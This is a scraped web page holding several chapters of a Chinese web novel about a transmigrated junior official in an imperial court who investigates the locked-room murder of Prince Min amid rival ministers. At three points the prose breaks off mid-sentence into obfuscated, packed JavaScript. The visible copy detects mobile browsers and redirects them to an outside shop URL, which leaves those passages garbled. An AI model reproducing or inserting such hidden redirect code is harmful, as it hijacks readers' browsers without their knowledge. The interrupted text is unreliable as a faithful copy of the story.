如今朝堂倒也不算混乱,毕竟小皇帝即位,先帝还给他留了些家底,百姓也尚可吃饱。 但这中饱私囊的官多了,百姓自然明明白白,只不过不敢明目张胆辱骂他们,却也没少背地里说这些朝廷官员的小话。 贺兰舟其实做不来那种反派做派,但他现在要攒命啊,脸皮也就混厚了,面对百姓投来的视线,倒也能与这些同僚一般一派自若。 一行人视若无睹地走进望仙楼,府尹是这里常客,他们一来,掌柜的就来招呼,请他们上二楼包间雅座。 顺天府尹名唤“施寻”,是先帝在时,天和二年的进士,论资历,竟是比当朝宰辅沈问、太傅顾庭芳还要老些。 施寻为人圆滑,做事亦十分周到,沈问安排贺兰舟进入顺天府的用意,他自然清楚。 他们是贵客,席面上得很快,还未开宴时,施寻道:“承蒙陛下厚爱,将贺兰大人调入我顺天府,如此老夫也算能喘得口气。” 顿了顿,他率先提起酒杯,众人跟着提杯,施寻又道:“再来,也感谢宰辅大人与薛掌院推荐,才使得我顺天府来了贺兰大人这般英才。” 施寻笑呵呵地说着,顺天府众人就跟着应和,“那是那是,听闻贺兰大人当初二甲及第,若非年轻,岂非是状元之才?” 这话说得贺兰舟十分汗颜,不过他虽刚来顺天府半天,却也算知晓这顺天府的德行了,只呵呵地干笑,提酒不语。 施寻见状,倒也还算满意,虽然与宰辅大人所言不同,这贺兰舟看着稍显拘谨,却并不木讷,倒也可调教一番。 他举杯而起,对众人道:“来,我们敬我们这位新推官一杯!” “来!” “来!” 众人举杯而饮,贺兰舟忙说些场面话,“有劳府尹大人与各位同僚,往后时日,还望多多指教,若某有不足之处,还望诸位不吝赐教。” 施寻闻言,很是满意,哈哈大笑,指着他,对众人道:“这位贺兰大人,年方二十,尚未娶妻。你们家中朋友若有好女儿,可万万要记得他啊!” 底下人连忙应声,“自然自然,贺兰大人品阶有,相貌好,为人谦逊有礼,当是要这好女郎才相配的!” 贺兰舟虚虚擦汗,一是不想来到古代还要面临催婚,二是……他该如何告诉这帮同僚,他姓非“贺兰”。 还不等他想好措辞,就有人好奇他的姓,说:“‘贺兰’此姓不多见,怎么也该是个贵族姓,贺兰大人,某倒有些好奇,你当初怎么入翰林,才是个七品小官?” 说起这个,原主就因为这事自卑,总认为自己就应该姓“贺兰”这样的大姓,可他偏偏姓“贺”! 贺兰舟抿了下唇,回:“前辈有所不知,吾姓‘贺’,名‘兰舟’。” 这话音一落,顺天府众人惊诧,隔壁一道细小的哼笑声,被彻底淹没在声音中。 望仙楼二楼有包间十余,今日占了五处,挨着贺兰舟他们的,是顾庭芳。 这包间并不算隔音,只是隔着墙的地方,放了一处屏风,上绘着山间郁郁葱葱,有一小狐狸从林中穿过,正扑着蝶。 倒是别有一番意趣。 贺兰舟这话,恰巧也被顾庭芳听了,他捏着酒杯一顿,略挑了下眉眼,眸光正落在那扑蝶的红色小狐狸身上。 有趣。 “太傅大人?” 说话之人宽肩厚背,满脸络腮胡子,穿着一身常服,身侧却放着一柄长刀。 此人正是闵王副将——魏成。 见顾庭芳倏然不语,魏成心中敲起鼓来。 他实在是计无所出,如今闵王昏迷不醒,他们就是想回左都,也不得启程。 若有个万一,闵王殿下在路上死了,这锅可就扣他脑袋上了。 可若不走,魏成也明白,如沈问之流,可都在盯着闵王手里的军权,只怕殿下凶多吉少。 眼下被这局面困住,他又是个武夫,半分拿不定主意,这才来寻这朝堂上唯一能帮他的人。 满朝文武,他也就知这位大人心思纯善、知节守礼,最是好相与之人。 “太傅大人,如今我可如何是好?”魏成一脸愁容。 顾庭芳敛了神思,正色道:“魏将军,闵王殿下入京,昏迷多日,想来早去了信给左都。” 魏成抬起头,满脸不解,“我还不曾……” 顾庭芳不给他继续说的机会,继续道:“想来不日,世子便会入京。” 这话一落,魏成静了片刻,才猛然回过神来。 这是太傅给他指了路,既然他不想背上锅,那就得寻个人来京城,他刚要一乐,又神色纠结起来。 “只是……”他不解:“为何非要世子入京?” 闵王世子,乃是闵王的嫡长子,若非重要之事,闵王也决计不想让其入京的。 毕竟闵王虽有九个儿子,但就是一直忠心耿耿的魏成都要说,殿下这几个儿子,各个不学无术,不堪大用。 可世子是由闵王一手培养的,虽不甚聪慧,却也算是几个儿子中最厉害的了。 若是世子入京后,有个好歹,那他如何对闵王交代? 是以,魏成有些苦闷,“太傅大人,此计恐……” 不待他说完,顾庭芳抿唇一笑,问他:“难不成魏将军真想将兵权拱手奉上?” 奉给谁?自然不是小皇帝。 魏成一噎,暗暗摇头,“这姜满在城外大肆练兵,实在嚣张,而沈问手中已有京都大营的兵权,更是虎视眈眈。” “哎,唯有太傅大人与闵王殿下,一心为朝堂着想,哪成想闵王殿下却被奸人所害。” 魏成想到闵王昏 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来人名徐进,字宁修,出自瓜州百年大家徐家,但生性恣意风流,年少时被先帝看中,将前朝公主许配给了他,给其在锦衣卫里挂了个虚职。 说起来,先帝乃大召开国皇帝,而在他之前,却是前朝大朔之主率九州之师,结束乱世。 巍巍大朔,却不过只存在十三年。 而史书之上,它的结局,也不过寥寥数语。 “肃德十三年,三王叛乱,大召主镇压之。” “王无遗诏,亦无储君,王曾语:德者居之。遂,大召立。” 先帝曾跟随大朔之主,乃能者,与其自有兄弟之谊。大朔虽亡,却还有两位公主,为显仁厚,先帝将二人嫁给两个大家子弟。 其中一个,正是嫁给了徐进。 徐进道:“陛下前日与你所谈之事,你可知我查到什么?” 徐进性子太过洒脱,并不受先帝重用,如今幼帝登基,正是用人之际,倒是日日不得闲。 顾庭芳为他倒了杯茶,笑问:“查到什么?” “你道沈问为何想要重开马市?”徐进喝了口茶,轻嗤一声道:“原来是他早在西北设有马厂,从西面的云仓走私马匹,再私自豢养。” 徐进说:“一旦重开马市,他怕不会把马匹反手卖给军中,自己赚得盆满钵满。哦,还有,云仓少盐铁,只怕沈问也会将这些东西命人卖入云仓。” 顾庭芳并不意外,他一直都知道沈问是个不择手段的人。 在他眼中,其实并无家国。 顾庭芳以手支颐,久久未语。 他考中进士那年,正值先帝病重,在大召西北面的云仓借机发难,而大召内部,骠骑将军林风澜发兵造反,内忧外患,大召岌岌可危。 但江北侯一人一马,直入云仓腹部,活捉了云仓王,而京城这边,是顾庭芳与宦官之首解春玿合力阻止了林风澜。 沈问见局势已定,率人入宫,斩了林风澜的首级,得了个勤王救主的美名。 可实则,对沈问来说,谁做皇帝都无所谓,只是到最后,这大召皇室,死的死,没的没,就只剩下幼帝了。 如此,大召才安定,而当年姜满虽然生擒云仓王,可西北到底受到云仓重创,原本互相往来的马市贸易被关。 如今云仓虽然老实些,但其野心依然不小。 沈问重提马市一事,想来与云仓亦有交易。 可沈问要做的,好像也并没有不好。 顾庭芳嘴角含笑,眉眼也带着几分潋滟之色,倒是十分欢快。 慢慢的,低低的,徐进听到他的笑声,带着几分克制与复杂。 他知道,顾庭芳不仅不会阻止,反而会推波助澜。 这大召,终究是一盘散沙。 9. 第 9 章 听到几声压抑的笑声,贺兰舟在门外顿住脚步。 这声音,听起来竟有几分熟悉。 “小贺大人,快走啊!” 贺兰舟回过神,忙应声:“诶!来了!” 回到顺天府,他已将在望仙楼听到的笑声忘了,今日第一天上值,便要查看上个推官留下的关于闵王被砸一案的卷宗。 一整个下午,看得他头昏脑涨,只想早些下值,好去城西买一碗甜水喝。 好不容易挨到下值,他收起卷宗,脚下匆匆往外跑,一众同僚望着他的背影,瞠目结舌。 这小贺大人看起来斯斯文文,没想到跑得比兔子还快。 贺兰舟一路快走到城西,新开的甜水铺子前,还是排满了人,他望了眼那旌旗招牌,上面大大的四字,格外惹眼。 他走到队伍最后面,双手一揣,老老实实排起了队。 等了好一番功夫,他才排到前面,望着铺子里老婆婆端起的糖水碗,贺兰舟舔了舔唇。 “客官,你拿好!”老婆婆的声音离得很近,听得格外清晰。 正此时,耳畔突地响起另一道声音。 “贺兰大人,年方二十,尚未娶妻。” 这正是在望仙楼时,薛府尹说他的话语,贺兰舟闻听,脸一红。 他闻声看过去,见身侧竟站着顾庭芳,那人正笑睨着他。 贺兰舟眼儿上翘,纳罕地看着顾庭芳,他没想过,素来雅正的太傅大人,竟也会这般调侃人。 也恰在此时,他恍然想起在望仙楼听到的笑声。 原来,那隔壁里的人,是太傅大人啊! 只是他有些奇怪,太傅的笑声为何那般压抑,好像、好像……明明是笑着,却莫名有些苦涩。 他张张嘴,想到二人现下也并不十分相熟,问不出来。 末了,只是道:“太傅大人怎么在此?” 顾庭芳敛了敛袖,凑近他,回说:“与友人散步消食,想起小贺大人所说的甜水铺子,便走了过来,不想遇见了小贺大人。” 听他前后的两个称呼,贺兰舟心头发虚,有些不好意思起来。 顾庭芳是何许人,看出他的不自在,知他想起之前自己对他的称呼,并没苛责他,反而还笑着温和问他。 “贺大人怎不同本官说,你并非贺兰之姓?” 顾庭芳的话只是好奇,并非为难,可贺兰舟怕他怪罪,日后不让自己亲近他,忙向右靠近他,二人的衣袖相贴,距离更近了几分。 “太傅大人见谅,我、我并非有意隐瞒,不过、不过是我虚荣,倒想有‘贺兰’那样的大姓……” 他急急解释,鼻尖都沁着一层细汗,本是一张俊俏的脸,生生多了几分怜人之感。 见他一股脑儿地揽责在身,顾庭芳摇头一笑,叹道:“不过与小贺大人玩笑一句,何必如此惊慌,难不成……” 他挑了下眉,问:“难不成本官竟是如虎狼一般可怖?” 贺兰舟头摇得拨浪鼓似的,大声反驳:“当然不是!” 顾庭芳笑了,“既是如此,不过一个称呼,何必放在心上?” 他眉目柔和,语调轻缓,三两句就化解了贺兰舟的尴尬。 贺兰舟正要张嘴回话,前面那人已经买了糖水离去,他展颜一笑,一边对顾庭芳道:“太傅大人莫要走,我还要请你吃糖水呢!” 一边扭头对卖糖水的老婆婆大声道:“婆婆,两碗桂花糖水!” 他声音清朗,模样又俊俏,卖糖水的婆婆多看了他两眼,应起声来都比之前清脆。 “好嘞,客官!” 糖水一拿到手,贺兰舟便分给顾庭芳一碗。 顾庭芳接过,修长的手指摩挲过碗底,看着上面漂浮的几片干桂花,好奇地问起:“小贺大人为何喜甜?” 顿了顿,他又问:“可是幼时家人爱惜,总能吃到糖块?” 贺兰舟一愣,想了想,自己从小就喜欢吃糖果,可要说到家人爱惜,却也不是。 小时候,父母忙着工作,每日给他些零花钱,也不管他买什么,有时回了家,也总是争吵,并不在意他。 后来,他们离了婚,各自组建了家庭,贺兰舟就没打扰过他们了。 他们好像也爱着他,毕竟,他从小到大的学费、生活费,他们从来没断过,可要说疼爱,贺兰舟也不知道,这算不算。 贺兰舟微垂下眼睫,遮盖住眼底的想法,抿了口碗里的糖水,想到穿书的这段日子,他撇了撇嘴,忍不住开始埋怨。 “这一天天的,我们大清早地去上朝,喝不得一滴水,有时几个朝中重臣吵吵起来,就拿底下的一把手撒气,等回到值上,上司就拿我们这种小官开涮。” 贺兰舟舔舔唇,耸了耸肩,叹气说:“这般时候,常常嘴里发苦,若是可以,每日回家,必要喝一份糖水。” 闻言,顾庭芳笑起来,他今日穿着月白色道袍,只有袖口处绣着白色梅花纹,头上戴着四方平定巾,腰间别着一柄折扇,倒是与平日里在朝堂中的模样十分不同。 儒雅风流,翩翩君子。 贺兰舟竟一时看呆了去。 顾庭芳倒是没想到,贺兰舟喜欢喝糖水,竟是这种理由。 他略略颔首,道:“如此,倒是难为你们了。明日我与陛下说说,早朝之时,诸臣可议政,却万不可拿下属撒气,若有此等事……” “万万不可!”贺兰舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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更没想到,不过三日,人竟死了。 此时,最难过的,自然还是他的副将魏成。 魏成找到闵王的遗体,哭得泣不成声,唯一值得他心中庆幸的是,他那信送回左都,闵王醒来,他都未曾命人追回。 看来世子来京这一趟,是非走不可了。 本来只是昏迷,如今人却死在京城,这事儿闹大了。 顺天府和大理寺的两位上官吓得要命,贺兰舟也知,自己是躲不过去了。 薛寻正了正自己头上的乌纱帽,脸色有些发白,看向贺兰舟的眼神,都有些涣散。 “兰舟啊,你身为顺天府的推官,此事可万万不得马虎啊!” 如今,没找到砸闵王的凶手也就罢了,闵王又死在了南风馆,这案子可就一下子复杂了。 这京中,想要闵王死的人很多,沈问是一个,江北侯姜满是一个,或许……就连小皇帝都容不得他。 贺兰舟抿了抿唇,敛目应是,眉头却锁得死死的。 10. 第 10 章 闵王死在的南风馆,作为案发地,已被官府查封。 贺兰舟到的时候,大理寺的人也已经在里面了。 闵王被杀一案格外重大,就连锦衣卫、东厂都派了人来。 一行人中,贺兰舟的官职最小,他跟在众人身后,走到闵王被害的那间房前。 “闵王死的时候,都有何人在场?”大理寺少卿喝问道。 南风馆的小倌们抹得小脸煞白,唇上一抹嫣红,见这么多官府中人,哆哆嗦嗦的。 其中一个还算胆子大的上前,回道:“回大人,闵王殿下昨日前来,并未让人侍候,只说要自己在屋中待着,叫我们全下去了。” 一人开口,就有人敢出声,“正是。且这房门是闵王殿下从里面关上的,早上管事的来唤闵王殿下,唤了好多声没人应,管事的想推门进去,结果发现,门根本推不动。” “对!那门从里面锁上的,今晨是我们一起将门砸开的,才发现闵王死了。” “没错没错,那屋中只有闵王一个人,门又锁了,闵王殿下可不是我们杀的!与我们无关啊!” 他们叽叽喳喳开始喊冤,声音尖细,各个娇媚,惹得大理寺、顺天府和锦衣卫那群爷们,眼皮直跳。 唯有东厂的人淡定如一,但那首领瞥过去的一眼,亦满是嫌弃。 闵王死得突然,如今朝中并未说将此案交由哪方处理,现下他们都挤在一处,各有各的主意。 大理寺少卿说:“闵王乃皇室中人,先前陛下曾说闵王被砸一案由大理寺与顺天府查明,想来此案也该由我两方共同携手才是。” 他是不想与锦衣卫和东厂分一杯羹的,锦衣卫明瞧着是宰辅沈问的人,而东厂尽是无根之人,大理寺自诩清流,自然不愿与他们一同查案。 顺天府只有贺兰舟和几个衙役来了,听到他这话,贺兰舟不敢做主应声,只能缩着脖子装鹌鹑。 东厂来的掌班闻言,冷哼一声:“怎么?闵王之死这么大的事,你还想着用此事升官发财?” “蠢货!” “你个……” 贺兰舟猜到这位少卿要说的是什么,“阉狗”二字,对这群人最是致命,但显然这位少卿也知,打狗还需看主人。 如今阉党一派的党首不在京中,可他那名号可是响亮,今日来的掌班备受解春玿重用,这位大理寺少卿在脱口的一刹,闭住了嘴。 “京中有大案,就有你我之责。”锦衣卫来的头领道:“更何况是闵王殿下遇害?有这吵的功夫,都一起来看看这里有什么不对劲。” 他一开口,那几位也消停下来,俱谦声道:“是,镇抚使。” 锦衣卫来的人是徐进,贺兰舟没见过,但听众人对他的称呼和反应,便也知道,这位应是个人物。 锦衣卫设南北两个镇抚司,负责对外查案的正是北镇抚司,再观其容貌,应是二十四五,想来是那位前朝公主的夫婿了。 察觉到他的目光,徐进朝贺兰舟这方望过来,二人四目相对,贺兰舟忙敛目低头,余光轻瞥进屋内。 屋内摆设并不杂乱,显然没有厮打的痕迹,屋内陈设简单,因房间比较大,仅有的桌子和屏风,显得此间格外空阔。 徐进从贺兰舟身上收回视线,扭头回望这房间时,猛然想起,那日他与顾庭芳从望仙楼回来,他家住在城西,顾庭芳与他一路回去,路上却说遇见了熟人,撇下他就走了。 离得老远,徐进望了眼他说的熟人,与刚刚那小生长得一模一样! 不对劲。 顾庭芳那样的当朝一品,怎么会和这样的小官相熟的? 不过眼下案子要紧,徐进没有多想,复观起这间屋子,看出些不妙来。 “你们这南风馆在此处开了也不少年了,这日进斗金的,闵王又是天潢贵胄,你们就给他这么个简陋的屋子?” 那管事的一听,吓得连忙道:“是闵王殿下特意吩咐的,说是要一间大点的屋子,屋子里不要太多摆设。” 这间房屋四下并不通风,甚至连窗户都没有,闵王那样的身份,却特意要这样的屋子,众人心里隐隐奇怪。 贺兰舟琢磨了下,开口问管事的,“你这来往的客人,哪些愿意要这种屋子?” 管事的表情有几分古怪,见众人都瞧他看过来,缩了缩脖子。 闵王的副将魏成,自从知晓闵王遇害的消息,一刻也没歇着过,报了官,又命人在其军中封锁消息,就赶过来看案子进展了。 此时,他正站在贺兰舟旁侧,闻言,唬着张脸,“这位大人,旁人之事,与闵王殿下一案何干?莫不然还是好生逼问这些小倌,凶手定然就在他们之中!” 贺兰舟拢了拢袖,半侧头问:“魏将军,吾乃推官,以断案讼狱为责,此问自然与本案有关。” 顿了顿,他佯装讶异,“昨日闵王殿下遇害,吾听闻自闵王苏醒,魏将军与殿下寸步不离,可殿下却独自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340587|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一人在此屋中遇害,魏将军,难不成……” 他眯了眯眼睛,剩下的话却没再说。 这话一出,徐进等人也十分奇怪,纷纷朝魏成脸上看去。 见众人望过来,魏成脸色一青,冲贺兰舟吼道:“你胡说八道什么?” 贺兰舟摊摊手:“吾并不曾胡说,是魏将军多想了。” 虽然魏成的品级高于他,但他毕竟是奉命查案的,且字字句句有理有据,魏成自然不敢将他怎么样。 魏成被噎得瞪圆了双眼,那满脸的络腮胡子炸起毛来,却是再说不得一句了。 再说下去,他都要被污蔑成凶手了! 这该死的小白脸! 贺兰舟不知魏成心中如何骂他,但他也知魏成阻拦,不过是不想闵王死后,还要脏了名声。 果然,在徐进等人的催促下,那管事的答话:“这处是个隐秘之所,外面的声音传不进来,里面的也传不出去。” 管事的声音渐渐弱下去,偷偷觑着众人的表情。 在场的都是精明人,自不必他多说,便明白,这样的房间,是为那些有特殊癖好的客人准备的。 显然,昨夜闵王就是想玩些刺激的。 只不过没想到,把自己给玩脱了。 贺兰舟拧了拧眉,又问:“那昨日何人与闵王在这屋中?” 魏成眉毛也打着结,他虽不想辱了闵王名声,让外人知他喜欢男子,且爱玩那种玩意儿,但此时,这小官却问到关键处了。 他扭头看向那管事的,大声一吼:“说!” 管事的吓得身子一抖,苦着张脸,“诸位大人容禀,我们也不知啊!这殿下一来,就说要这样的屋子,还嘱咐我们莫要打搅,我们都以为是他带了人来……” 几个小倌也纷纷道:“是啊,我们还以为殿下会点我们的牌子,但不曾想,一个晚上都没人来叫我们当中的任何一个人。” “闵王殿下来时,一个人都没带。当时我们还好奇,他没点我们牌子,也没带人来,那去那间屋子作甚?” 事情到此,倒是玄之又玄了。 闵王没点南风馆里的小倌陪同,亦没有自己带人,那他是怎么被害的? 问清了大致情况,这几家查案的也有了些许主意。 不过,别人心里怎么想的,贺兰舟不知道。但他观这间屋子,空阔无窗,处处密闭,又无透声之机。 这——是一桩密室杀人案。 11. 第 11 章 这处南风馆来来往往的人多,闵王被杀事发当晚的人,他们都要一一排查。 闵王的死状稍显几分可怖,衣裳被人脱光,脖颈上有一圈红印,身上密密麻麻都是血痕,是被人一刀一刀割开血肉的。 但仵作来看,却说他的致命伤在脖颈处,他是被人活活勒死的。 而身上的道道伤痕,更像是死后泄愤。 当然,这些伤痕也只是层伪装,让人误会只是仇杀。 仅看闵王的死状,自然看不出凶手,重点自然还是在审问这南风馆的众人,以及昨夜在场的宾客身上。 费了好大的功夫,锦衣卫将昨夜在此的宾客一一找出,有四家一起查案,这进展自然就快了些。 不过两日,就将这些人都问了一遍,与闵王没有接触的宾客全放回去,而南风馆的众人则被关在此处,等候进一步的审问。 等人散去,四方人马坐在一处,商讨此案的进展。 一群人大眼瞪小眼,愣是没一个吭声的。 等了好半天,贺兰舟轻咳一声,率先开口:“下官有一事禀与诸位上官。” 众人朝他看去,那位大理寺少卿竟还松了口气,也不知是觉得有人打破这沉寂气氛,还是觉得没让锦衣卫和东厂抢了话柄。 贺兰舟道:“我问询了几个下人,听他们说,这南风馆的每一间房,都极有可能被贵客看中,待到晚间,会点小倌的牌子,领着人入内。是以,此处东家每日都会命人打扫每一间房。” 顿了顿,他加重语气,“尤其是这般密闭的屋子。” 大理寺少卿不解问:“这有什么奇怪的?” 在他看来,这南风馆也不过是生意,做生意的,自然要把台面拾掇干净,不然客人来了,坐一屁股灰,谁还愿意来? 贺兰舟知道这位少卿是个炮仗性子,他耐心解释道:“此处的南风馆,算是京城数一数二的了,房间自然众多,由此也必然耗费人力打扫,所以,这打扫的人也是有轮值的。” 闵王死的那日,正是一个新来南风馆的哑奴做事,可等他命人排查一遍,却发现这里面早没了那哑奴的踪迹。 待贺兰舟将此事说了,众人顿时大惊。 “这南风馆里少了个人?!”徐进肃声道。 “正是。”贺兰舟回。 几人顿感不妙,闵王虽死于昨夜,可锦衣卫连昨夜来此的宾客都找出来了,可他们这么多人,却独独漏了一个哑奴! “这哑奴何时走的?可有人看到?”徐进再问。 贺兰舟摇头:“闵王一死,这南风馆里的人都慌了神,哪会在意那个哑奴,想来趁乱之际,已从后门脱了身。” 而且,贺兰舟觉得,那哑奴可能并非真的哑,且也说不准,就连他的样子都是假的。 不过,他心中虽如此想,案子却不能就此止住。 是以,按照南风馆众人的形容,府衙的画师画出那哑奴画像,徐进拿到画像,派人去城中四下张贴,挂了悬赏。 可这悬赏挂了四五天,也没人认出这个哑奴来。 这事情眼看着又成了像闵王被砸的悬案,这些时日上朝,几方朝臣日日吵着此事,就好像他们吵一吵,案子就能破了似的。 贺兰舟偷偷眯着眼睛往上一瞧,见小皇帝嘴都起泡了,看来闵王被杀,是真的太过突然,大大的不妙! “这魏成虽下令封锁闵王被杀的消息,但那些左都士兵身在京中,哪有不耳闻的,只怕左都军中要大乱。” “怎么,程将军想收服左都大军?”沈问笑眯眯问了一句。 这位程将军,名“程素”,乃是江北侯姜满的副将。 姜满自打率军入京,处处与沈问较量,毕竟他入京,打着的旗号就是除奸佞,这奸佞自然是指这位朝中只手遮天的宰辅大人。 闵王虽死,可左都的大军还在,这京中的几位大佬,没几个是不想要这群士兵的。 程素闻言,登时立眼,“宰辅大人,此言何意?” 不等沈问应话,他双手朝幼帝方向拱了拱,道:“我等是为陛下考虑,左都这群将士若放任不管,可否会在京中做出暴乱之事,尤未可知。” 程素说完,又有一武将顺势道:“正是如此,那魏成对闵王素来忠心耿耿,闵王不明不白死在京城,那魏成焉能善罢甘休?” 这人躬身上前,对幼帝道:“陛下,臣听闻,那魏成已去信给了左都得闵王世子,焉知他会否利用左都这群士兵,作乱于我京城啊?” 小皇帝听到这话,吓得小脸一白,扭头朝顾庭芳的方向看去。 顾庭芳安抚地冲他一笑,侧头看向那武将,刚要开口,沈问突的冷声一笑,“一群废物!” 他侧过身子,看向姜满等人,“既然你们这么担心,那等闵王世子来,就让他——有去无回啊!” 说到最后,他的声音渐低渐沉,眉眼也厉了几分,看得程素这在战场上杀伐果断的武将,都忍不住背后发冷。 他在江北之时,就听人说,高山白雪顾太傅,阴狠狡诈沈临渊。 他可不觉得,沈问会那么简单地只杀一个闵王世子,到时候左都的兵权,他又会以何种方式夺取? 程素等人不再多言,倒是姜满今日难得开口。 “闻听宰辅大人此言,不知道的,还以为这朝廷是你说了算呢。” 沈问神色微冷,姜满又言:“欲让谁生,则生;欲让谁死,则死。” 他鼓掌笑道:“真不愧是我朝宰辅!” 贺兰舟现在是六品官,能进这大殿的门了,前面这些人争论,他听得是清清楚楚。 这姜满与沈问是针锋相对,最后还是顾庭芳出来打了个圆场,小皇帝又两方安抚一番,此事才算揭过。 等吵完了左都大军之事,不知哪个老糊涂的文官,又把闵王被害一事拿出来说了一遍,小皇帝不能给沈问和姜满脸色看,但对顺天府、大理寺还不能有脸色吗? 小皇帝凛着脸,对他们道:“闵王此事,限尔等七日内查明,另着锦衣卫北镇抚司、东厂协助查探,务要缉查凶手!” 众人叩头领命,贺兰舟一回顺天府,就被府尹扔了一把子那哑奴的画像。 “去去去,快带着人出去给我找此人!” 贺兰舟:“……” 人家压根儿就不长这样,他他他、他怎么找? 闵王一入京,那就成了瓮中的鳖,要他死的人可太多了,这哑奴能神不知鬼不觉地进入那间屋子,将人杀了,岂是一般人? 没准就是哪个大反派,为了闵王手中的兵权,想着把人弄死,才找了这哑奴。 这哑奴哪能还以这番面目示人? 只不过,贺兰舟现在是在人家底下做事,反驳不得。他抱着那堆画像出来,又分发给一众衙役,在街上分头找起人来。 一直找到下值时分,贺兰舟也没再回顺天府,毕竟他不想回去见府尹,万一被逼着加班呢? 本着绝不加班的念头,一下值,他就将手里的画像团起来,塞到衣袖中,然后寻到一处面摊,要了碗面吃。 好巧不巧,他这桌对面坐下一人。 那人着一身玄色衣袍,衣领上绣饕餮纹,衣袖则绘几枝冷梅。 贺兰舟刚往嘴里塞了一口面,眨巴着眼睛抬头,正见沈问笑睨着他。 贺兰舟咬断面条,连吞都没吞,面就顺着嗓子眼儿,滑了下去。 “宰、宰辅大人。” 沈问好整以暇地看他,姿态一如既往的散漫中带着几分矜贵,他斜靠在座椅上,一手轻搭在腿上,食指微屈。 贺兰舟在奉命探望闵王那日见到沈问,便注意到其右手戴着黑色手衣,材质像是鹿皮。只是,如今是夏日,也不知这位宰辅大人热不热。 他脑中刚闪过这念头,系统1238上线:“宿主有所不知,沈问那手衣之下,覆着一根断指。” 贺兰舟捏着筷子的手僵住,却不敢抬头朝沈问的右手上看去。 系统道:“沈问生于乱世,他两岁时,九州王建大朔,王朝才大一统。” 之前看这本书时,贺兰舟是没看到这部分背景的,毕竟这是篇大男主朝堂文,对于正义的男主来说,沈问他们,都是要死的大反派! 作者一股脑儿地写男主有多狂拽酷炸天,哪会废这些笔墨写反派? 不过,系统提到的“九州王”…… 贺兰舟穿书这些时日,除了这几天去顺天府做推官,之前可是日日泡在翰林院,当然了解些前朝之事。 现在的朝廷是大召,先帝是大召的开国皇帝,而在大召之前,便是大朔。 大朔之前,群雄逐鹿,乱世之期,足有十一载。 大朔的肃德帝,率九州之师结束乱世,百姓得以休养生息,因此功绩不凡,被后人亦尊为“九州王”。 系统继续道:“只不过,乱世经历太久,大朔初立,又逢天灾,肃德三年,沈问所在的村中受了水灾,他们一家逃难向北,却家破人亡、断指不复。” 简单的几个字,明明系统还是那样的机械音,但贺兰舟的心脏却紧缩了一下。 算了算,那时的沈问才五岁。 五岁的孩童,看着家人离世,又断了一根手指,难怪……难怪他变成如今这般模样。 贺兰舟抿了下唇,整理一番心情,才抬头看向沈问。 沈问并不知他心中如何想自己,见他那双鹿儿般的眼睛望过来,心中隐隐有些烦躁。 他开口:“贺大人,如今这节骨眼上,你竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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似是说得有些多,贺兰舟嘴里发干,舔了下唇,那唇早因吃了面,有面汤拂过,已是被润出一抹红,如今他舌尖微舔过唇,霎时唇上水色一线。 沈问瞧着,莫名觉得贺兰舟的唇,像极了树上结的小樱桃。 他也难得地发现,对面那人的眼神陡然变得挚诚起来,就像是世间罕见的玻璃珠,清透澄明,望之则可见人影。 沈问此刻,仿佛真的从他那双眼睛里,看见了自己。 但不过一刹,他别开了头。 沈问哼笑一声:“真是一张好嘴,难怪能让吕家那小子帮你做事!” 说罢,沈问起身,贺兰舟虽没弄懂他话中的意思,却也发现沈问的语气不善,他张了张嘴。 还不等开口,沈问道:“也不知闵王被害一案,你可查出个所以然来。贺兰舟——” 他眯了眯眼睛,沉下声调:“可别辜负了我与薛同对你的赏识。” 话音一落,沈问转过身子,甩袖而去,那抹玄色衣袍在这落日余晖之下,显得格外醒目。 贺兰舟还张着嘴,却始终没道出一个字来,他脑中还盘桓着沈问刚刚说的那句话。 想了又想,他突地抬起头,圆瞪起眼睛。 贺兰舟明白过来,沈问说的是吕锦城帮他将男主赶出翰林院一事! 原主嫉恨男主的才学,恰好当时沈问专权,大兴“文字狱”,借着吕锦城的手,原主将陷害男主写的诗,送到了吕振的手上。 吕振是户部尚书,被抓进狱牢的人,都得在户部备好名册,好巧不巧,沈问要看看那些骂他贼子的人,碰上了吕振,也看到了他手中的诗。 那诗上面,暗指沈问是乱臣贼子,但却实在经不起推敲,毕竟原主的文采还没那么好,而男主被抓进大牢,肯定为自己辩解了一番。 谁让人家是男主,沈问还真觉得那诗经不起推敲,让人将男主给放了。 可男主到底是回不去翰林院了,没了官,也被撵出了京城。 思来想去,贺兰舟想,许正是那时,沈问便注意到了原主。 沈问对于百官的一举一动都清楚得很,在知道原主陷害了同僚之后,以沈问的心思,想来就已有要将此人纳入自己麾下的念头。 那位宰辅大人——喜欢不择手段的人。 原主,恰恰是这样的人。 贺兰舟心下凛了几分,想到薛掌院亦是沈问的人,那闵王被砸,薛掌院让他去探望闵王,怕也是沈问故意安排。 而后来在途中,偶遇孙大年二人,只怕也是有人刻意将他们引到那条路上,不然,沈问那样心思深沉的人,真的会留一个张扬、到处瞎嚷嚷的人? 怕是他早想除了孙大年,正好借此机会,一箭双雕。 既除了多嘴多舌的无名小卒,又把贺兰舟绑上自己的船。 贺兰舟望向远处,早已没了沈问的身影,不禁暗暗感叹。 原来,沈问什么都清楚。 现在,他这算是有把柄在沈问手中,而自己也是他那条绳上的蚂蚱咯! 贺兰舟揣手望天,心下喃喃默念。 哎,沈问这样的人,要怎么才能刷他的感动值啊喂! 12. 第 12 章 贺兰舟心里跟压了块石头似的,面也没吃几口,留下三文钱,起身走了。 漫无目的地走着,一会儿想闵王的死状,一会儿想那个哑奴,一会儿又想自己那可怜兮兮的寿命。 等他回到家中那条巷子时,迎面碰到吕锦城和孟知延。 